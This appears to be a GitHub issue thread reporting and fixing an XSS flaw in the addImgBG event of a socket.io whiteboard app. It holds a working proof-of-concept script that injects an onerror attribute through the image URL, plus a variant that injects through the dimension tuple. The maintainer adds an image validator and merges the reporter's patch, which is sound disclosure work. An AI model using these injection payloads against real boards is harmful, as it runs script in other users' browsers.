addImgBG enables XSS

[pkschweiger]

similar to #110 - when driving socket directly using browser tools or script malicious url eventually embedded here or here

import { io } from "socket.io-client";

const BOARD_TO_HACK = "be760e53-e792-4e3c-be65-d411e4230c63";
const EXPLOIT=`" onerror="alert(String.fromCharCode(88,83,83,32,118,105,97,32,97,100,100,73,109,103,66,71))`;
const USERNAME = "crackmeister";

const socket = io("http://local-whiteboard-service:3000", { path: "/ws-api" });

function applyExploit()
{
    const encode = (s: string) => Buffer.from(s, "utf8").toString("base64");

    socket.emit("joinWhiteboard", {
        wid: BOARD_TO_HACK,
        at: null,
        windowWidthHeight: { w: 100, h: 100 }
    });

    socket.emit("drawToWhiteboard", {
        "t": "addImgBG",
        "draw": "0",
        "url": EXPLOIT,
        "d": [300,100,200,200,0],
        "wid": BOARD_TO_HACK,
        "username": USERNAME,
        "drawId": 0,
        "at": ""
    });
}

socket.on("connect", applyExploit);
setTimeout(() => process.exit(0), 5000);

No image support needed in our use case and are pretty swamped - so we just chuck addImgBG events both server and client side for the time being.

[cracker0dks]

Thanks for the report. I added a check function "testImage" to validate clientside https://github.com/cracker0dks/whiteboard/commit/5b57f134c6a63f94d0c9daccdc6b936fa148173b.

function testImage(url, callback, timeout) {
    timeout = timeout || 5000;
    var timedOut = false,
        timer;
    var img = new Image();
    img.onerror = img.onabort = function () {
        if (!timedOut) {
            clearTimeout(timer);
            callback(false);
        }
    };
    img.onload = function () {
        if (!timedOut) {
            clearTimeout(timer);
            callback(true);
        }
    };
    img.src = url;
    timer = setTimeout(function () {
        timedOut = true;
        // reset .src to invalid URL so it stops previous
        // loading, but doesn't trigger new load
        img.src = "//!!!!/test.jpg";
        callback(false);
    }, timeout);
}

You think this is sufficient?

[pkschweiger]

Clever. I would have focused on the attribute injection myself. Believe you'll want a combination end. As it stands one could just move the exploit to the tuple and suffer from the string concatenation there:

    socket.emit("drawToWhiteboard", {
        "t": "addImgBG",
        "d": [EXPLOIT,100,200,200]
    });

The following is shooting from the hip, at a feature we knew we would disable from day 1, while sprinting to another project 😼. I didn't try to combine it with your preload - or so much as build it. The idea is:

• url
  • could be forced to be relative (if use cases allow) and the like
  • certainly shouldn't set anything but src attribute
• NaN(px|rad) dimensions are better than XSS

0001-Prevent-img-attribute-injection.patch.gz

I'm sending patches over creating PRs because I don't want to impose on your project with different paradigms. They're meant to pinpoint sore spots with some ideas not serve as prescriptive solutions. Wish I could offer more of my time. Thank you for yours! 🙇‍♂️

[cracker0dks]

lol totally forgot about this one, sry. Merged it now. Thanks a lot!